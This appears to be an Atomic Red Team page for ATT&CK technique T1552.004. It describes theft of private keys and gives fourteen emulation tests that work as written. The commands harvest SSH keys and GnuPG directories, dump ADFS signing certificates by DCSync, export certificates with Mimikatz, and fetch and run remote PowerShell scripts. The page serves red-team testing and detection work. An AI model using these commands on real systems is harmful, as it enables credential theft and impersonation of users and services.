T1552.004 - Private Keys

Contents

T1552.004 - Private Keys#

Adversaries may search for private key certificate files on compromised systems for insecurely stored credentials. Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures.(Citation: Wikipedia Public Key Crypto) Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc.

Adversaries may also look in common key directories, such as ~/.ssh for SSH keys on * nix-based systems or C:\Users\(username).ssh\ on Windows. Adversary tools may also search compromised systems for file extensions relating to cryptographic keys and certificates.(Citation: Kaspersky Careto)(Citation: Palo Alto Prince of Persia)

When a device is registered to Azure AD, a device key and a transport key are generated and used to verify the device’s identity.(Citation: Microsoft Primary Refresh Token) An adversary with access to the device may be able to export the keys in order to impersonate the device.(Citation: AADInternals Azure AD Device Identities)

On network devices, private keys may be exported via Network Device CLI commands such as crypto pki export.(Citation: cisco_deploy_rsa_keys)

Some private keys require a password or passphrase for operation, so an adversary may also use Input Capture for keylogging or attempt to Brute Force the passphrase off-line. These private keys can be used to authenticate to Remote Services like SSH or for use in decrypting other collected files such as email.

Atomic Tests#

Atomic Test #1 - Private KeysFind private keys on the Windows file system.#

File extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, pfx, .cer, .p7b, .asc Supported Platforms: windows Elevation Required (e.g. root or admin)#### Attack Commands: Run with command_prompt

dir c:\ /b /s .key | findstr /e .key
Invoke-AtomicTest T1552.004 -TestNumbers 1

Atomic Test #2 - Discover Private SSH KeysDiscover private SSH keys on a FreeBSD, macOS or Linux system.#

Supported Platforms: linux, macos#### Attack Commands: Run with sh

find / -name id_rsa 2>/dev/null >> /tmp/keyfile_locations.txt
exit 0
Invoke-AtomicTest T1552.004 -TestNumbers 2

Cleanup:#

rm /tmp/keyfile_locations.txt
Invoke-AtomicTest T1552.004 -TestNumbers 2 -Cleanup

Atomic Test #3 - Copy Private SSH Keys with CPCopy private SSH keys on a Linux system to a staging folder using the cp command.#

Supported Platforms: linux#### Attack Commands: Run with sh

mkdir /tmp/art-staging
find / -name id_rsa 2>/dev/null -exec cp --parents {} /tmp/art-staging \;
exit 0
Invoke-AtomicTest T1552.004 -TestNumbers 3

Cleanup:#

rm -rf /tmp/art-staging
Invoke-AtomicTest T1552.004 -TestNumbers 3 -Cleanup

Atomic Test #4 - Copy Private SSH Keys with CP (freebsd)#

Copy private SSH keys on a FreeBSD system to a staging folder using the cp command.

Supported Platforms: linux

Dependencies: Run with sh!#

Description: Install GNU cp from coreutils package.#
Check Prereq Commands:#
if [ ! -x "$(command -v gcp)" ]; then exit 1; else exit 0; fi;
Get Prereq Commands:#
(which pkg && pkg install -y coreutils)
Invoke-AtomicTest T1552.004 -TestNumbers 4 -GetPreReqs

Attack Commands: Run with sh#

mkdir /tmp/art-staging
find / -name id_rsa 2>/dev/null -exec gcp --parents {} /tmp/art-staging \;
Invoke-AtomicTest T1552.004 -TestNumbers 4

Cleanup:#

rm -rf /tmp/art-staging
Invoke-AtomicTest T1552.004 -TestNumbers 4 -Cleanup

Atomic Test #5 - Copy Private SSH Keys with rsyncCopy private SSH keys on a Linux or macOS system to a staging folder using the rsync command.#

Supported Platforms: macos, linux#### Attack Commands: Run with sh

mkdir /tmp/art-staging
find / -name id_rsa 2>/dev/null -exec rsync -R {} /tmp/art-staging \;
exit 0
Invoke-AtomicTest T1552.004 -TestNumbers 5

Cleanup:#

rm -rf /tmp/art-staging
Invoke-AtomicTest T1552.004 -TestNumbers 5 -Cleanup

Atomic Test #6 - Copy Private SSH Keys with rsync (freebsd)#

Copy private SSH keys on a FreeBSD system to a staging folder using the rsync command.

Supported Platforms: linux

Dependencies: Run with sh!#

Description: Check if rsync is installed.#
Check Prereq Commands:#
if [ ! -x "$(command -v rsync)" ]; then exit 1; else exit 0; fi;
Get Prereq Commands:#
(which pkg && pkg install -y rsync)
Invoke-AtomicTest T1552.004 -TestNumbers 6 -GetPreReqs

Attack Commands: Run with sh#

mkdir /tmp/art-staging
find / -name id_rsa 2>/dev/null -exec rsync -R {} /tmp/art-staging \;
Invoke-AtomicTest T1552.004 -TestNumbers 6

Cleanup:#

rm -rf /tmp/art-staging
Invoke-AtomicTest T1552.004 -TestNumbers 6 -Cleanup

Atomic Test #7 - Copy the users GnuPG directory with rsyncCopy the users GnuPG (.gnupg) directory on a Mac or Linux system to a staging folder using the rsync command.#

Supported Platforms: macos, linux#### Attack Commands: Run with sh

mkdir /tmp/GnuPG
find / -type d -name '.gnupg' 2>/dev/null -exec rsync -Rr {} /tmp/GnuPG \;
exit 0
Invoke-AtomicTest T1552.004 -TestNumbers 7

Cleanup:#

rm -rf /tmp/GnuPG
Invoke-AtomicTest T1552.004 -TestNumbers 7 -Cleanup

Atomic Test #8 - Copy the users GnuPG directory with rsync (freebsd)#

Copy the users GnuPG (.gnupg) directory on a FreeBSD system to a staging folder using the rsync command.

Supported Platforms: linux

Dependencies: Run with sh!#

Description: Check if rsync is installed.#
Check Prereq Commands:#
if [ ! -x "$(command -v rsync)" ]; then exit 1; else exit 0; fi;
Get Prereq Commands:#
(which pkg && pkg install -y rsync)
Invoke-AtomicTest T1552.004 -TestNumbers 8 -GetPreReqs

Attack Commands: Run with sh#

mkdir /tmp/GnuPG
find / -type d -name '.gnupg' 2>/dev/null -exec rsync -Rr {} /tmp/GnuPG \;
Invoke-AtomicTest T1552.004 -TestNumbers 8

Cleanup:#

rm -rf /tmp/GnuPG
Invoke-AtomicTest T1552.004 -TestNumbers 8 -Cleanup

Atomic Test #9 - ADFS token signing and encryption certificates theft - Local#

Retrieve ADFS token signing and encrypting certificates. This is a precursor to the Golden SAML attack (T1606.002). You must be signed in as Administrator on an ADFS server. Based on https://o365blog.com/post/adfs/ and fireeye/ADFSDump.

Supported Platforms: windows

Dependencies: Run with powershell!#

Description: AADInternals module must be installed.#
Check Prereq Commands:#
if (Get-Module AADInternals) {exit 0} else {exit 1}
Get Prereq Commands:#
Install-Module -Name AADInternals -Force
Invoke-AtomicTest T1552.004 -TestNumbers 9 -GetPreReqs

Attack Commands: Run with powershell#

Import-Module AADInternals -Force
Export-AADIntADFSCertificates
Get-ChildItem | Where-Object {$_ -like "ADFS*"}
Write-Host "`nCertificates retrieved successfully"
Invoke-AtomicTest T1552.004 -TestNumbers 9

Cleanup:#

Remove-Item -Path ".\ADFS_encryption.pfx" -ErrorAction Ignore
Remove-Item -Path ".\ADFS_signing.pfx" -ErrorAction Ignore
Invoke-AtomicTest T1552.004 -TestNumbers 9 -Cleanup

Atomic Test #10 - ADFS token signing and encryption certificates theft - Remote#

Retrieve ADFS token signing and encrypting certificates. This is a precursor to the Golden SAML attack (T1606.002). You must be signed in as a Domain Administrators user on a domain-joined computer. Based on https://o365blog.com/post/adfs/ and fireeye/ADFSDump.

Supported Platforms: windows

Dependencies: Run with powershell!#

Description: AADInternals and ActiveDirectory modules must be installed.#
Check Prereq Commands:#
if ($(Get-Module AADInternals) -or $(Get-Module -ListAvailable -Name ActiveDirectory)) {echo 0} else {echo 1}
Get Prereq Commands:#
Install-Module -Name AADInternals -Force
Invoke-AtomicTest T1552.004 -TestNumbers 10 -GetPreReqs

Attack Commands: Run with powershell#

Import-Module ActiveDirectory -Force 
Import-Module AADInternals -Force | Out-Null
#Get Configuration
$dcServerName = (Get-ADDomainController).HostName
$svc = Get-ADObject -filter * -Properties objectguid,objectsid | Where-Object name -eq "adfs_svc"
$PWord = ConvertTo-SecureString -String "ReallyStrongPassword" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList Administrator, $PWord
# use DCSync to fetch the ADFS service account's NT hash
$hash = Get-AADIntADUserNTHash -ObjectGuid $svc.ObjectGuid -Credentials $Credential -Server $dcServerName -AsHex
$ADFSConfig = Export-AADIntADFSConfiguration -Hash $hash -SID $svc.Objectsid.Value -Server sts.contoso.com
# Get certificates decryption key
$Configuration = [xml]$ADFSConfig
$group = $Configuration.ServiceSettingsData.PolicyStore.DkmSettings.Group
$container = $Configuration.ServiceSettingsData.PolicyStore.DkmSettings.ContainerName
$parent = $Configuration.ServiceSettingsData.PolicyStore.DkmSettings.ParentContainerDn
$base = "LDAP://CN=$group,$container,$parent"
$ADSearch = [System.DirectoryServices.DirectorySearcher]::new([System.DirectoryServices.DirectoryEntry]::new($base))
$ADSearch.Filter = '(name=CryptoPolicy)'
$ADSearch.PropertiesToLoad.Clear()
$ADSearch.PropertiesToLoad.Add("displayName") | Out-Null
$aduser = $ADSearch.FindOne()
$keyObjectGuid = $ADUser.Properties["displayName"] 
$ADSearch.PropertiesToLoad.Clear()
$ADSearch.PropertiesToLoad.Add("thumbnailphoto") | Out-Null
$ADSearch.Filter="(l=$keyObjectGuid)"
$aduser=$ADSearch.FindOne() 
$key=[byte[]]$aduser.Properties["thumbnailphoto"][0] 
# Get encrypted certificates from configuration and decrypt them
Export-AADIntADFSCertificates -Configuration $ADFSConfig -Key $key
Get-ChildItem | Where-Object {$_ -like "ADFS*"}
Write-Host "`nCertificates retrieved successfully"
Invoke-AtomicTest T1552.004 -TestNumbers 10

Cleanup:#

Remove-Item -Path ".\ADFS_encryption.pfx" -ErrorAction Ignore
Remove-Item -Path ".\ADFS_signing.pfx" -ErrorAction Ignore
Invoke-AtomicTest T1552.004 -TestNumbers 10 -Cleanup

Atomic Test #11 - CertUtil ExportPFXThe following Atomic test simulates adding a generic non-malicious certificate to the Root certificate store. This behavior generates a registry modification that adds the cloned root CA certificate in the keys outlined in the blog. In addition, this Atomic utilizes CertUtil to export the PFX (ExportPFX), similar to what was seen in the Golden SAML attack.#

Keys will look like - \SystemCertificates\CA\Certificates or \SystemCertificates\Root\Certificates Reference: https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec Reference: https://www.splunk.com/en_us/blog/security/a-golden-saml-journey-solarwinds-continued.html Supported Platforms: windows Elevation Required (e.g. root or admin)#### Attack Commands: Run with powershell

IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1553.004/src/RemoteCertTrust.ps1' -UseBasicParsing) 
certutil.exe -p password -exportPFX Root 1F3D38F280635F275BE92B87CF83E40E40458400 c:\temp\atomic.pfx
Invoke-AtomicTest T1552.004 -TestNumbers 11

Cleanup:#

Get-ChildItem -Path Cert:\ -Recurse | Where-Object { $_.Thumbprint -eq '1F3D38F280635F275BE92B87CF83E40E40458400' } | remove-item 
Invoke-AtomicTest T1552.004 -TestNumbers 11 -Cleanup

Atomic Test #12 - Export Root Certificate with Export-PFXCertificateCreates a Root certificate and exports it with Export-PFXCertificate PowerShell Cmdlet.#

Upon a successful attempt, this will write a pfx to disk and utilize the Cmdlet Export-PFXCertificate. Supported Platforms: windows Elevation Required (e.g. root or admin)#### Attack Commands: Run with powershell

$mypwd = ConvertTo-SecureString -String "AtomicRedTeam" -Force -AsPlainText
$cert = New-SelfSignedCertificate -DnsName atomicredteam.com -CertStoreLocation cert:\LocalMachine\My
Set-Location Cert:\LocalMachine\My
Get-ChildItem -Path $cert.Thumbprint | Export-PfxCertificate -FilePath $env:Temp\atomicredteam.pfx -Password $mypwd
Invoke-AtomicTest T1552.004 -TestNumbers 12

Cleanup:#

try {
$cert = Import-Certificate -FilePath $env:Temp\atomicredteam.pfx -CertStoreLocation Cert:\LocalMachine\My
Get-ChildItem Cert:\LocalMachine\My\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore
Get-ChildItem Cert:\LocalMachine\Root\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore
} catch { }
Invoke-AtomicTest T1552.004 -TestNumbers 12 -Cleanup

Atomic Test #13 - Export Root Certificate with Export-CertificateCreates a Root certificate and exports it with Export-Certificate PowerShell Cmdlet.#

Upon a successful attempt, this will write a pfx to disk and utilize the Cmdlet Export-Certificate. Supported Platforms: windows Elevation Required (e.g. root or admin)#### Attack Commands: Run with powershell

$cert = New-SelfSignedCertificate -DnsName atomicredteam.com -CertStoreLocation cert:\LocalMachine\My
Set-Location Cert:\LocalMachine\My
Export-Certificate -Type CERT -Cert  Cert:\LocalMachine\My\$($cert.Thumbprint) -FilePath $env:Temp\AtomicRedTeam.cer
Invoke-AtomicTest T1552.004 -TestNumbers 13

Cleanup:#

try {
   $cert = Import-Certificate -FilePath $env:Temp\AtomicRedTeam.cer -CertStoreLocation Cert:\LocalMachine\My -ErrorAction Ignore
   Get-ChildItem Cert:\LocalMachine\My\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore
   Get-ChildItem Cert:\LocalMachine\Root\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore
}
catch { }
Invoke-AtomicTest T1552.004 -TestNumbers 13 -Cleanup

Atomic Test #14 - Export Certificates with Mimikatz#

The following Atomic test will utilize Mimikatz to extract the certificates from the local system My store. This tool is available at gentilkiwi/mimikatz and can be obtained using the get-prereq_commands. A successful attempt will stdout the certificates and write multiple .pfx and .der files to disk.

Supported Platforms: windows

Elevation Required (e.g. root or admin)

Dependencies: Run with powershell!#

Description: Mimikatz must exist on disk at specified location (#{mimikatz_exe})#
Check Prereq Commands:#
if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\x64\mimikatz.exe") {exit 0} else {exit 1}

Get Prereq Commands:#
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1" -UseBasicParsing) 
$releases = "https://api.github.com/repos/gentilkiwi/mimikatz/releases"
$zipUrl = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url | where-object { $_.endswith(".zip") }
$basePath = Split-Path "PathToAtomicsFolder\..\ExternalPayloads\x64\mimikatz.exe" | Split-Path
Invoke-FetchFromZip $zipUrl "x64/mimikatz.exe" $basePath

Invoke-AtomicTest T1552.004 -TestNumbers 14 -GetPreReqs

Attack Commands: Run with command_prompt#

"PathToAtomicsFolder\..\ExternalPayloads\x64\mimikatz.exe" "crypto::certificates /systemstore:local_machine /store:my /export"  exit
Invoke-AtomicTest T1552.004 -TestNumbers 14

Detection#

Monitor access to files and directories related to cryptographic keys and certificates as a means for potentially detecting access patterns that may indicate collection and exfiltration activity. Collect authentication logs and look for potentially abnormal activity that may indicate improper use of keys or certificates for remote authentication. For network infrastructure devices, collect AAA logging to monitor for private keys being exported.